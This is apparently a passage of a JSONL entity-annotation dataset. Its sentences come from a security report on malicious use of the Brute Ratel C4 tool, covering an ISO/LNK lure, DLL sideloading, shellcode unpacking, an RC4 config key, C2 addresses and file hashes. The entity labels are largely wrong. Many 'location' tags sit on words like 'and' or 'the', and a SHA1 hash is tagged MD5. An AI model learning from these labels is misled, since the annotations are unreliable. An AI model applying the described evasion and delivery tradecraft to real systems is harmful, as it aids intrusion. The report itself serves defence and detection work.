India.","entities":[{"id":19601,"label":"location","start_offset":7,"end_offset":11},{"id":19602,"label":"location","start_offset":40,"end_offset":44},{"id":19603,"label":"location","start_offset":45,"end_offset":51},{"id":19604,"label":"location","start_offset":57,"end_offset":65},{"id":19606,"label":"identity","start_offset":99,"end_offset":113}],"relations":[],"Comments":[]} -{"id":6320,"text":"According to his website (Dark Vortex), Nayak amassed several years of experience working in senior red team roles across western cybersecurity vendors.","entities":[{"id":19611,"label":"location","start_offset":122,"end_offset":129}],"relations":[],"Comments":[]} -{"id":6321,"text":"Over the past 2.5 years, Nayak introduced incremental improvements to the pentest tool in terms of features, capabilities, support and training.","entities":[{"id":19614,"label":"location","start_offset":82,"end_offset":86},{"id":19615,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]} -{"id":6322,"text":" In January 2022, Nayak left his day job in order to pursue full-time development and training workshops.","entities":[{"id":19618,"label":"location","start_offset":33,"end_offset":36},{"id":19619,"label":"location","start_offset":37,"end_offset":40},{"id":19620,"label":"location","start_offset":65,"end_offset":69},{"id":19621,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} {"id":6323,"text":"That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the “biggest release for Brute Ratel till date.” However, of greater concern, the release description also specifically noted that “this release was built after reverse engineering several top tier EDR and Antivirus DLLs.” ","entities":[{"id":19626,"label":"location","start_offset":125,"end_offset":129},{"id":19627,"label":"attack-pattern","start_offset":245,"end_offset":264},{"id":19628,"label":"location","start_offset":286,"end_offset":289}],"relations":[],"Comments":[]} -{"id":6324,"text":"Our analysis highlights the ongoing and relevant debate within the cybersecurity industry surrounding the ethics relating to the development and use of penetration testing tools that can be exploited for offensive purposes.","entities":[{"id":19629,"label":"location","start_offset":36,"end_offset":39},{"id":19630,"label":"location","start_offset":81,"end_offset":89},{"id":19631,"label":"location","start_offset":141,"end_offset":144},{"id":19632,"label":"location","start_offset":183,"end_offset":186}],"relations":[],"Comments":[]} -{"id":6325,"text":" BRc4 currently advertises itself as “A Customized Command and Control Center for Red Team and Adversary Simulation.”","entities":[{"id":19634,"label":"location","start_offset":59,"end_offset":62},{"id":19635,"label":"location","start_offset":71,"end_offset":77},{"id":19636,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]} -{"id":6326,"text":"On May 16, Nayak announced that the tool had gained 480 users across 350 customers.","entities":[{"id":19639,"label":"location","start_offset":36,"end_offset":40}],"relations":[],"Comments":[]} -{"id":6327,"text":" The latest version, Brute Ratel v1.0 (Sicilian Defense) was released a day later on May 17, and is currently offered for sale at a price of $2,500 per user and $2,250 per renewal.","entities":[{"id":19645,"label":"location","start_offset":93,"end_offset":96},{"id":19646,"label":"location","start_offset":122,"end_offset":126},{"id":19647,"label":"location","start_offset":132,"end_offset":137},{"id":19649,"label":"location","start_offset":157,"end_offset":160}],"relations":[],"Comments":[]} -{"id":6328,"text":"With this price point and customer base, BRc4 is positioned to take in more than $1 million dollars in sales over the next year.","entities":[{"id":19651,"label":"location","start_offset":10,"end_offset":15},{"id":19652,"label":"location","start_offset":16,"end_offset":21},{"id":19653,"label":"location","start_offset":22,"end_offset":25}],"relations":[],"Comments":[]} -{"id":6329,"text":" Figure 3. BRc4 licensing and cost.","entities":[{"id":19659,"label":"location","start_offset":26,"end_offset":29},{"id":19660,"label":"location","start_offset":30,"end_offset":34}],"relations":[],"Comments":[]} {"id":6330,"text":"In terms of features, BRc4 advertises the following capabilities:","entities":[],"relations":[],"Comments":[]} {"id":6331,"text":" The file in VirusTotal named Roshan_CV.iso (SHA256: 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C) appears to be a curriculum vitae (similar to a resume) of an individual named Roshan.","entities":[{"id":19663,"label":"SHA2","start_offset":53,"end_offset":117}],"relations":[],"Comments":[]} {"id":6332,"text":"It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka.","entities":[],"relations":[],"Comments":[]} -{"id":6333,"text":"The ISO file extension refers to an optical disc image file, derived from the International Organization for Standardization’s ISO 9960 file system, which is typically used to back up files for CD\/DVD.","entities":[{"id":19668,"label":"location","start_offset":13,"end_offset":22}],"relations":[],"Comments":[]} -{"id":6334,"text":"The ISO file is not malicious and requires a user to double-click, which mounts the ISO as a Windows drive.","entities":[{"id":19670,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]} -{"id":6335,"text":"Finally, the archived files of the ISO are displayed to the user.","entities":[{"id":19672,"label":"location","start_offset":39,"end_offset":42}],"relations":[],"Comments":[]} -{"id":6336,"text":"In this case, when the ISO is double-clicked, a user is presented with the following: As depicted in Figure 5, the user would see a file named Roshan-Bandara_CV_Dialog, which has a fake icon image of Microsoft Word, purporting to be an individual's CV, and written in Microsoft Word","entities":[{"id":19673,"label":"location","start_offset":8,"end_offset":12},{"id":19678,"label":"location","start_offset":254,"end_offset":257}],"relations":[],"Comments":[]} -{"id":6337,"text":"From the window dialog box it can be ascertained that the ISO was assembled on May 17, 2022, which coincidentally is the same day the new BRc4 was released.","entities":[{"id":19681,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]} -{"id":6338,"text":" If the user were to double-click on the file, it would then install Brute Ratel C4 on the user's machine. By default, on Windows operating systems, hidden files are not displayed to the user.","entities":[{"id":19687,"label":"location","start_offset":163,"end_offset":166}],"relations":[],"Comments":[]} -{"id":6339,"text":"In Figure 6, there are four hidden files concealed from view.","entities":[{"id":19689,"label":"location","start_offset":19,"end_offset":22},{"id":19691,"label":"location","start_offset":56,"end_offset":60}],"relations":[],"Comments":[]} -{"id":6340,"text":"If the display of hidden files is enabled, the user sees the following: The lure file, the one visible to the user, is a Windows shortcut file (LNK) with the following properties: Microsoft shortcut files, those with a .lnk file extension, contain enriched metadata that can be used to provide artifacts about the file.","entities":[{"id":19692,"label":"location","start_offset":77,"end_offset":81},{"id":19693,"label":"location","start_offset":92,"end_offset":95},{"id":19695,"label":"location","start_offset":231,"end_offset":240},{"id":19696,"label":"location","start_offset":273,"end_offset":276}],"relations":[],"Comments":[]} -{"id":6341,"text":"Some key artifacts of this file are: When Roshan-Bandara_CV_Dialog is double-clicked, the following actions occur: Figure 8 below gives an overview of how this process would look. ","entities":[{"id":19697,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]} -{"id":6342,"text":"The composition of the ISO file, Roshan_CV.ISO, closely resembles that of other nation-state APT tradecraft.","entities":[{"id":19699,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]} {"id":6343,"text":"The following table shows a side-by-side comparison of Roshan_CV.ISO and that of a previously identified APT29 sample (Decret.ISO).","entities":[{"id":19700,"label":"location","start_offset":69,"end_offset":72},{"id":19701,"label":"threat-actor","start_offset":105,"end_offset":110},{"id":19702,"label":"location","start_offset":111,"end_offset":117}],"relations":[],"Comments":[]} -{"id":6344,"text":" The following images show how Roshan_CV.ISO and Decret.ISO would look to a user when double-clicked.","entities":[{"id":19703,"label":"location","start_offset":45,"end_offset":48}],"relations":[],"Comments":[]} {"id":6345,"text":"Figure 9 is a screenshot of the default Windows File Explorer; “show hidden files” is not checked.","entities":[],"relations":[],"Comments":[]} {"id":6346,"text":"In both images, the user is presented with a shortcut file (LNK file) that starts the malicious activity when double-clicked.","entities":[],"relations":[],"Comments":[]} {"id":6347,"text":" Figure 10 shows how the ISOs would appear when show hidden files” is enabled for viewing.","entities":[],"relations":[],"Comments":[]} {"id":6348,"text":" The flow of execution is the following: Roshan_CV.ISO→Roshan-Bandar_CV_Dialog.LNK→cmd.exe→OneDriveUpdater.exe→version.dll��OneDrive.Update Decret.ISO→Decret.LNK→cmd.exe→HPScan.exe→version.dll→HPScanApi.dll ","entities":[],"relations":[],"Comments":[]} {"id":6349,"text":"The delivery of packaged ISO files is typically sent via spear phishing email campaigns or downloaded to the victim by a second-stage downloader. While we lack insight into how this particular payload was delivered to a target environment, we observed connection attempts to the C2 server originating from three Sri Lankan IP addresses between May 19-20.","entities":[{"id":19706,"label":"attack-pattern","start_offset":57,"end_offset":71},{"id":19707,"label":"location","start_offset":156,"end_offset":160},{"id":19708,"label":"location","start_offset":221,"end_offset":227}],"relations":[],"Comments":[]} {"id":6350,"text":" Version.dll is a modified version of a legitimate Microsoft file written in C++.","entities":[],"relations":[],"Comments":[]} -{"id":6351,"text":"The implanted code is used to load and decrypt an encrypted payload file.","entities":[{"id":19715,"label":"location","start_offset":30,"end_offset":34},{"id":19716,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]} -{"id":6352,"text":"The decrypted payload is that of shellcode (x64 assembly) that is further used to execute Brute Ratel C4 on the host.","entities":[{"id":19717,"label":"location","start_offset":48,"end_offset":56},{"id":19719,"label":"location","start_offset":112,"end_offset":116}],"relations":[],"Comments":[]} -{"id":6353,"text":" In order for Version.dll to maintain its code capabilities for OneDriveUpdater.exe, the actors include the legitimate digitally signed Microsoft version.dll and named it vresion.dll.","entities":[{"id":19721,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]} -{"id":6354,"text":"Any time OneDriveUpdater.exe makes a call into the actor’s Version.dll, the call is proxied to vresion.dll.","entities":[{"id":19722,"label":"location","start_offset":4,"end_offset":8},{"id":19723,"label":"location","start_offset":37,"end_offset":41},{"id":19724,"label":"location","start_offset":76,"end_offset":80}],"relations":[],"Comments":[]} -{"id":6355,"text":"Because of this, the actor’s version.dll will load vresion.dll as a dependency file.","entities":[{"id":19725,"label":"location","start_offset":41,"end_offset":45},{"id":19726,"label":"location","start_offset":46,"end_offset":50}],"relations":[],"Comments":[]} {"id":6356,"text":"The implanted code begins when the DLL is loaded via DLL_PROCESS_ATTACH and performs the following at the DLLMain subroutine: The technique outlined above uses process injection via undocumented Windows NTAPI calls.","entities":[{"id":19727,"label":"location","start_offset":72,"end_offset":75},{"id":19728,"label":"attack-pattern","start_offset":161,"end_offset":178}],"relations":[],"Comments":[]} {"id":6357,"text":"The decrypted payload is now running within the runtimebroker.exe memory space.","entities":[],"relations":[],"Comments":[]} {"id":6358,"text":"The following is a snippet of code from version.dll that starts the execution of the in-memory decrypted payload.","entities":[],"relations":[],"Comments":[]} -{"id":6359,"text":" The decrypted payload file is x64 shellcode (assembly instructions) that involves a series of executions to unpack itself.","entities":[{"id":19729,"label":"location","start_offset":46,"end_offset":54}],"relations":[],"Comments":[]} -{"id":6360,"text":"The assembly instructions involve multiple push and mov instructions.","entities":[{"id":19730,"label":"location","start_offset":4,"end_offset":12},{"id":19731,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} {"id":6361,"text":"The purpose of this is to copy the Brute Ratel C4 code (x64 assembly) onto the stack eight bytes at a time and eventually reassemble it into a memory space for execution – a DLL with a stripped MZ header.","entities":[{"id":19732,"label":"malware","start_offset":35,"end_offset":49},{"id":19733,"label":"location","start_offset":60,"end_offset":68},{"id":19734,"label":"location","start_offset":102,"end_offset":106},{"id":19735,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]} -{"id":6362,"text":"Using a series of push and mov instructions evades in-memory scanning as the shellcode is assembled in blocks versus the entire code base being exposed for scanning.","entities":[{"id":19736,"label":"location","start_offset":23,"end_offset":26}],"relations":[],"Comments":[]} -{"id":6363,"text":"The entry point of the decrypted payload is the following: The unpacking involves 25,772 push and 25,769 mov instructions.","entities":[{"id":19737,"label":"location","start_offset":10,"end_offset":15},{"id":19739,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]} {"id":6364,"text":"When finished, the code performs the following.","entities":[],"relations":[],"Comments":[]} -{"id":6365,"text":" The following is a snippet of the code that calls NtCreateThreadEx and starts the execution of the second-stage shellcode. The configuration data is passed as a parameter to the start address of the new thread.","entities":[{"id":19741,"label":"location","start_offset":68,"end_offset":71},{"id":19743,"label":"location","start_offset":180,"end_offset":185}],"relations":[],"Comments":[]} {"id":6366,"text":"This data includes the encrypted configuration settings for Brute Ratel C4.","entities":[],"relations":[],"Comments":[]} -{"id":6367,"text":"The encrypted contents are the following: The data is base64-encoded and RC4-encrypted.","entities":[{"id":19745,"label":"location","start_offset":23,"end_offset":26},{"id":19746,"label":"location","start_offset":70,"end_offset":73}],"relations":[],"Comments":[]} {"id":6368,"text":"The 16-byte RC4 decryption key is: bYXJm\/3#M?:XyMBF ","entities":[],"relations":[],"Comments":[]} {"id":6369,"text":"The decrypted configuration file is: Each parameter is delineated with a pipe | character, and one of the values is the IP seen earlier of 174.129.157[.]251 and port of 443.","entities":[{"id":19748,"label":"location","start_offset":92,"end_offset":95},{"id":19749,"label":"location","start_offset":96,"end_offset":99},{"id":19750,"label":"IPV4","start_offset":140,"end_offset":157},{"id":19751,"label":"location","start_offset":158,"end_offset":161}],"relations":[],"Comments":[]} {"id":6370,"text":"The IP 174.129.157[.]251 is hosted on Amazon AWS, and Palo Alto Networks Cortex Xpanse history shows the IP had TCP port 443 open from April 29, 2022, until May 23, 2022, with a self-signed SSL certificate impersonating Microsoft Security:","entities":[{"id":19752,"label":"IPV4","start_offset":7,"end_offset":24},{"id":19753,"label":"location","start_offset":50,"end_offset":53},{"id":19756,"label":"location","start_offset":190,"end_offset":193},{"id":19757,"label":"identity","start_offset":220,"end_offset":229},{"id":19758,"label":"location","start_offset":230,"end_offset":238}],"relations":[],"Comments":[]} {"id":6371,"text":" Once the SSL handshake to IP 174.129.157[.]251 is complete, the following data is sent via HTTP POST to the Brute Ratel C4 listener port.","entities":[{"id":19759,"label":"location","start_offset":10,"end_offset":13},{"id":19760,"label":"IPV4","start_offset":30,"end_offset":47},{"id":19761,"label":"location","start_offset":97,"end_offset":101}],"relations":[],"Comments":[]} -{"id":6372,"text":"To identify the decrypted in-memory payload as being associated with Brute Ratel C4, we conducted hunting based on the unique in-memory assembly instructions, push and mov.","entities":[{"id":19764,"label":"location","start_offset":98,"end_offset":105},{"id":19765,"label":"location","start_offset":136,"end_offset":144},{"id":19766,"label":"location","start_offset":164,"end_offset":167}],"relations":[],"Comments":[]} -{"id":6373,"text":"These instructions are used to build the second layer of shellcode.","entities":[{"id":19767,"label":"location","start_offset":19,"end_offset":22}],"relations":[],"Comments":[]} -{"id":6374,"text":"Searching across VirusTotal, we found a second sample with the same push and mov instructions:","entities":[{"id":19771,"label":"location","start_offset":47,"end_offset":53},{"id":19772,"label":"location","start_offset":63,"end_offset":67},{"id":19773,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":6375,"text":" Initially, what stood out to us was the filename containing the word “badger.”","entities":[{"id":19774,"label":"location","start_offset":71,"end_offset":77}],"relations":[],"Comments":[]} -{"id":6376,"text":"According to the Brute Ratel C4 website, the word “badger” represents payloads used for remote access.","entities":[{"id":19776,"label":"location","start_offset":51,"end_offset":57},{"id":19777,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]} -{"id":6377,"text":"When uploaded to VirusTotal, only two out of 66 vendors considered the sample malicious.","entities":[{"id":19781,"label":"location","start_offset":71,"end_offset":77}],"relations":[],"Comments":[]} -{"id":6378,"text":"Currently, 12 vendors identify the sample as malicious with eight classifying this sample as “Brutel,” further supporting that our in-memory code is somehow associated with that of Brute Ratel C4.","entities":[{"id":19783,"label":"location","start_offset":35,"end_offset":41},{"id":19785,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]} -{"id":6379,"text":" Side-by-side comparison of the entry point of badger_x64.exe and our decrypted OneDrive.Update sample:","entities":[{"id":19787,"label":"location","start_offset":38,"end_offset":43},{"id":19788,"label":"location","start_offset":62,"end_offset":65},{"id":19789,"label":"location","start_offset":96,"end_offset":102}],"relations":[],"Comments":[]} -{"id":6380,"text":" When badger_x64.exe is finished with the push and mov instructions, it makes the same Windows API calls as OneDrive.Update using API hashing, but does not use direct syscall (a user configuration feature of Brute Ratel C4).","entities":[{"id":19790,"label":"location","start_offset":47,"end_offset":50},{"id":19791,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]} {"id":6381,"text":"Example of badger_x64.exe:","entities":[],"relations":[],"Comments":[]} -{"id":6382,"text":" Like the OneDrive.Update sample, the parameter passed to the calling thread is the configuration data for Brute Ratel C4.","entities":[{"id":19793,"label":"location","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]} -{"id":6383,"text":"In this sample, the data is not base64-encoded or RC4-encrypted, and is passed in the clear.","entities":[{"id":19795,"label":"location","start_offset":8,"end_offset":14},{"id":19796,"label":"location","start_offset":65,"end_offset":68},{"id":19797,"label":"location","start_offset":86,"end_offset":91}],"relations":[],"Comments":[]} -{"id":6384,"text":"The following is the configuration used for this sample:","entities":[{"id":19798,"label":"location","start_offset":49,"end_offset":55}],"relations":[],"Comments":[]} {"id":6385,"text":" In this case, the sample is configured to communicate with IP 159.65.186[.]50 on TCP port 443.","entities":[{"id":19799,"label":"location","start_offset":9,"end_offset":13},{"id":19800,"label":"location","start_offset":19,"end_offset":25},{"id":19801,"label":"IPV4","start_offset":63,"end_offset":78}],"relations":[],"Comments":[]} -{"id":6386,"text":" Based on the following, we can conclude that OneDrive.Update is indeed associated with Brute Ratel C4.","entities":[{"id":19802,"label":"location","start_offset":28,"end_offset":31}],"relations":[],"Comments":[]} -{"id":6387,"text":" The file badger_x64.exe is a standalone x64 executable that runs Brute Ratel C4 (badger payload) while the decrypted OneDrive.Update file is the in-memory component of Brute Ratel C4 that is executed using the actor's modified DLL, version.dll.","entities":[{"id":19805,"label":"location","start_offset":82,"end_offset":88}],"relations":[],"Comments":[]} {"id":6388,"text":" After validating that badger_x64.exe and OneDrive.Update were both BRc4 payloads, we set to work analyzing the employment of this second sample.","entities":[{"id":19807,"label":"location","start_offset":38,"end_offset":41},{"id":19808,"label":"tools","start_offset":68,"end_offset":72},{"id":19810,"label":"location","start_offset":138,"end_offset":144}],"relations":[],"Comments":[]} -{"id":6389,"text":" VirusTotal records revealed that the sample was uploaded by a web user in Ukraine on May 20, 2022.","entities":[{"id":19811,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]} {"id":6390,"text":"Coincidentally, this happens to be one day after the ​​Roshan_CV.ISO file was uploaded.","entities":[],"relations":[],"Comments":[]} {"id":6391,"text":"As noted above, the sample was configured to call home to 159.65.186[.]50 on port 443.","entities":[{"id":19815,"label":"location","start_offset":20,"end_offset":26},{"id":19816,"label":"location","start_offset":45,"end_offset":49},{"id":19817,"label":"location","start_offset":50,"end_offset":54},{"id":19818,"label":"IPV4","start_offset":58,"end_offset":73}],"relations":[],"Comments":[]} {"id":6392,"text":"Palo Alto Networks Cortex Xpanse history shows that this port was open from May 21-June 18, 2022, with the same “Microsoft Security” self-signed SSL certificate seen above.","entities":[{"id":19823,"label":"location","start_offset":107,"end_offset":111},{"id":19824,"label":"identity","start_offset":113,"end_offset":122},{"id":19825,"label":"location","start_offset":123,"end_offset":131},{"id":19826,"label":"location","start_offset":145,"end_offset":148}],"relations":[],"Comments":[]} -{"id":6393,"text":"Given this timeline, it's worth noting that the sample was actually uploaded to VirusTotal prior to the C2 infrastructure being configured to listen for the callbacks.","entities":[{"id":19827,"label":"location","start_offset":0,"end_offset":5},{"id":19828,"label":"location","start_offset":26,"end_offset":31},{"id":19829,"label":"location","start_offset":48,"end_offset":54}],"relations":[],"Comments":[]} {"id":6394,"text":"Evaluating netflow connections for 159.65.186[.]50 during this time window revealed several connections to ports 22, 443 and 8060 originating from a Ukrainian IP (213.200.56[.]105).","entities":[{"id":19831,"label":"IPV4","start_offset":35,"end_offset":50},{"id":19832,"label":"location","start_offset":63,"end_offset":67},{"id":19835,"label":"location","start_offset":121,"end_offset":124},{"id":19837,"label":"IPV4","start_offset":163,"end_offset":179}],"relations":[],"Comments":[]} -{"id":6395,"text":"We assess this Ukrainian address is likely a residential user IP that was leveraged to administer the C2 infrastructure.","entities":[{"id":19839,"label":"location","start_offset":36,"end_offset":42}],"relations":[],"Comments":[]} {"id":6396,"text":"A deeper look at connections in and out of 213.200.56[.]105 further revealed several flows over UDP port 33445.","entities":[{"id":19840,"label":"location","start_offset":32,"end_offset":35},{"id":19841,"label":"IPV4","start_offset":43,"end_offset":59},{"id":19842,"label":"location","start_offset":105,"end_offset":110}],"relations":[],"Comments":[]} -{"id":6397,"text":"This port is commonly used by Tox, a secure peer-to-peer chat and video application that offers end-to-end encryption.","entities":[{"id":19844,"label":"location","start_offset":44,"end_offset":48},{"id":19845,"label":"location","start_offset":52,"end_offset":56},{"id":19846,"label":"location","start_offset":57,"end_offset":61},{"id":19847,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]} {"id":6398,"text":" Examining additional connections to port 443 on 159.65.186[.]50, we identified several suspected victims including an Argentinian organization, an IP television provider providing North and South American content, and a major textile manufacturer in Mexico.","entities":[{"id":19849,"label":"IPV4","start_offset":49,"end_offset":64},{"id":19852,"label":"location","start_offset":206,"end_offset":213},{"id":19853,"label":"location","start_offset":215,"end_offset":218},{"id":19854,"label":"location","start_offset":221,"end_offset":226}],"relations":[],"Comments":[]} {"id":6399,"text":"Coincidentally, recent attempts to browse the textile manufacturer’s website result in a 500 internal server error message.","entities":[],"relations":[],"Comments":[]} {"id":6400,"text":" Given the geographic dispersion of these victims, the upstream connection to a Ukrainian IP and several other factors, we believe it is highly unlikely that BRc4 was deployed in support of legitimate and sanctioned penetration testing activities.","entities":[{"id":19856,"label":"location","start_offset":1,"end_offset":6},{"id":19858,"label":"location","start_offset":93,"end_offset":96},{"id":19859,"label":"tools","start_offset":158,"end_offset":162},{"id":19860,"label":"location","start_offset":201,"end_offset":204}],"relations":[],"Comments":[]} -{"id":6401,"text":" Over the past year, the fake Microsoft Security X.509 certificate has been linked to 41 IP addresses.","entities":[{"id":19863,"label":"location","start_offset":40,"end_offset":48}],"relations":[],"Comments":[]} -{"id":6402,"text":"These addresses follow a global geographic dispersion and are predominantly owned by large virtual private server (VPS) hosting providers.","entities":[{"id":19865,"label":"location","start_offset":54,"end_offset":57},{"id":19866,"label":"location","start_offset":58,"end_offset":61},{"id":19867,"label":"location","start_offset":85,"end_offset":90}],"relations":[],"Comments":[]} {"id":6403,"text":"Expanding our research beyond the two samples discussed above, we have also identified an additional seven samples of BRc4 dating back to February 2021.","entities":[{"id":19870,"label":"tools","start_offset":118,"end_offset":122}],"relations":[],"Comments":[]} -{"id":6404,"text":" For Palo Alto Networks customers, our products and services provide the following coverage associated with this group: ","entities":[{"id":19873,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} -{"id":6405,"text":"Threat Prevention provides protection against Brute Ratel C4.","entities":[{"id":19874,"label":"location","start_offset":27,"end_offset":37}],"relations":[],"Comments":[]} {"id":6406,"text":"The \"Brute Ratel C4 Tool Command and Control Traffic Detections\" signature is threat ID 86647.","entities":[],"relations":[],"Comments":[]} -{"id":6407,"text":" Cortex XDR detects and protects endpoints from the Brute Ratel C4 tool. WildFire cloud-based threat analysis service accurately identifies Brute Ratel C4 samples as malware.","entities":[{"id":19878,"label":"location","start_offset":20,"end_offset":23},{"id":19880,"label":"location","start_offset":67,"end_offset":71},{"id":19882,"label":"location","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]} -{"id":6408,"text":" The emergence of a new penetration testing and adversary emulation capability is significant.","entities":[{"id":19884,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]} -{"id":6409,"text":"Yet more alarming is the effectiveness of BRc4 at defeating modern defensive EDR and AV detection capabilities.","entities":[{"id":19886,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]} -{"id":6410,"text":" Over the past 2.5 years this tool has evolved from a part-time hobby to a full-time development project with a growing customer base.","entities":[{"id":19888,"label":"location","start_offset":30,"end_offset":34},{"id":19889,"label":"location","start_offset":59,"end_offset":63},{"id":19890,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]} -{"id":6411,"text":"As this customer base has expanded into the hundreds, the tool has gained increased attention across the cybersecurity domain from both legitimate penetration testers as well as malicious cyber actors.","entities":[{"id":19892,"label":"location","start_offset":58,"end_offset":62}],"relations":[],"Comments":[]} -{"id":6412,"text":" The analysis of the two samples described in this blog, as well as the advanced tradecraft used to package these payloads, make it clear that malicious cyber actors have begun to adopt this capability.","entities":[{"id":19894,"label":"location","start_offset":132,"end_offset":137}],"relations":[],"Comments":[]} {"id":6413,"text":"We believe it is imperative that all security vendors create protections to detect BRc4 and that all organizations take proactive measures to defend against this tool. Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members.","entities":[{"id":19895,"label":"location","start_offset":37,"end_offset":45},{"id":19896,"label":"tools","start_offset":83,"end_offset":87},{"id":19897,"label":"location","start_offset":88,"end_offset":91},{"id":19898,"label":"location","start_offset":162,"end_offset":166},{"id":19900,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]} -{"id":6414,"text":"CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.","entities":[{"id":19903,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]} {"id":6415,"text":"Learn more about the Cyber Threat Alliance.","entities":[],"relations":[],"Comments":[]} -{"id":6416,"text":"Note that the Microsoft name and logo shown are an attempt to impersonate a legitimate organization and do not represent an actual affiliation with Microsoft.","entities":[{"id":19906,"label":"location","start_offset":29,"end_offset":32},{"id":19907,"label":"location","start_offset":44,"end_offset":47},{"id":19908,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]} {"id":6417,"text":"This impersonation does not imply a vulnerability in Microsoft’s products or services. Brute Ratel C4 ISO Samples: 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C X64 Brute Ratel C4 Windows Kernel Module: 31ACF37D180AB9AFBCF6A4EC5D29C3E19C947641A2D9CE3CE56D71C1F576C069 APT29 ISO Samples: F58AE9193802E9BAF17E6B59E3FDBE3E9319C5D27726D60802E3E82D30D14D46 ","entities":[{"id":19912,"label":"SHA2","start_offset":117,"end_offset":181},{"id":19914,"label":"SHA2","start_offset":226,"end_offset":290},{"id":19915,"label":"threat-actor","start_offset":292,"end_offset":297},{"id":19916,"label":"SHA2","start_offset":312,"end_offset":376}],"relations":[],"Comments":[]} {"id":6418,"text":"X64 Brute Ratel C4 Samples: 3ED21A4BFCF9838E06AD3058D13D5C28026C17DC996953A22A00F0609B0DF3B9 3AD53495851BAFC48CAF6D2227A434CA2E0BEF9AB3BD40ABFE4EA8F318D37BBE 973F573CAB683636D9A70B8891263F59E2F02201FFB4DD2E9D7ECBB1521DA03E DD8652E2DCFE3F1A72631B3A9585736FBE77FFABEE4098F6B3C48E1469BF27AA E1A9B35CF1378FDA12310F0920C5C53AD461858B3CB575697EA125DFEE829611 EF9B60AA0E4179C16A9AC441E0A21DC3A1C3DC04B100EE487EABF5C5B1F571A6 D71DC7BA8523947E08C6EEC43A726FE75AED248DFD3A7C4F6537224E9ED05F6F 5887C4646E032E015AA186C5970E8F07D3ED1DE8DBFA298BA4522C89E547419B Malicious DLLs: EA2876E9175410B6F6719F80EE44B9553960758C7D0F7BED73C0FE9A78D8E669 Malicious Encrypted Payloads: B5D1D3C1AEC2F2EF06E7D0B7996BC45DF4744934BD66266A6EBB02D70E35236E X.509 Cert SHA1s: 55684a30a47476fce5b42cbd59add4b0fbc776a3 66aab897e33b3e4d940c51eba8d07f5605d5b275 Infrastructure linked to X.509 Certs or Samples: 104.6.92[.]229 137.184.199[.]17 138.68.50[.]218 138.68.58[.]43 139.162.195[.]169 139.180.187[.]179 147.182.247[.]103 149.154.100[.]151 15.206.84[.]52 159.223.49[.]16 159.65.186[.]50 162.216.240[.]61 172.105.102[.]247 172.81.62[.]82 174.129.157[.]251 178.79.143[.]149 178.79.168[.]110 178.79.172[.]35 18.133.26[.]247 18.130.233[.]249 18.217.179[.]8 18.236.92[.]31 185.138.164[.]112 194.29.186[.]67 194.87.70[.]14 213.168.249[.]232 3.110.56[.]219 3.133.7[.]69 31.184.198[.]83 34.195.122[.]225 34.243.172[.]90 35.170.243[.]216 45.144.225[.]3 45.76.155[.]71 45.79.36[.]192 52.48.51[.]67 52.90.228[.]203 54.229.102[.]30 54.90.137[.]213 89.100.107[.]65 92.255.85[.]173 92.255.85[.]44 94.130.130[.]43 ds.windowsupdate.eu[.]org Hunting for APT29 Spear Phishing Using XDR - Palo Alto Networks Blog Cozy Smuggled Into The Box: APT29 Abusing Legitimate Software For Targeted Operations In Europe Trello From the Other Side: Tracking APT29 Phishing Campaigns New sophisticated email-based attack from NOBELIUM Updated July 6, 2022, at 9:30 a.m. PT.","entities":[{"id":19918,"label":"SHA2","start_offset":29,"end_offset":93},{"id":19919,"label":"SHA2","start_offset":94,"end_offset":158},{"id":19920,"label":"SHA2","start_offset":159,"end_offset":223},{"id":19921,"label":"SHA2","start_offset":224,"end_offset":288},{"id":19922,"label":"SHA2","start_offset":289,"end_offset":353},{"id":19923,"label":"SHA2","start_offset":354,"end_offset":418},{"id":19924,"label":"SHA2","start_offset":419,"end_offset":483},{"id":19925,"label":"SHA2","start_offset":484,"end_offset":548},{"id":19926,"label":"SHA2","start_offset":567,"end_offset":631},{"id":19927,"label":"SHA2","start_offset":664,"end_offset":728},{"id":19928,"label":"MD5","start_offset":749,"end_offset":789},{"id":19929,"label":"SHA1","start_offset":790,"end_offset":830},{"id":19930,"label":"IPV4","start_offset":882,"end_offset":896},{"id":19931,"label":"IPV4","start_offset":897,"end_offset":913},{"id":19932,"label":"IPV4","start_offset":914,"end_offset":929},{"id":19933,"label":"IPV4","start_offset":930,"end_offset":944},{"id":19934,"label":"IPV4","start_offset":945,"end_offset":962},{"id":19935,"label":"IPV4","start_offset":963,"end_offset":980},{"id":19936,"label":"IPV4","start_offset":981,"end_offset":998},{"id":1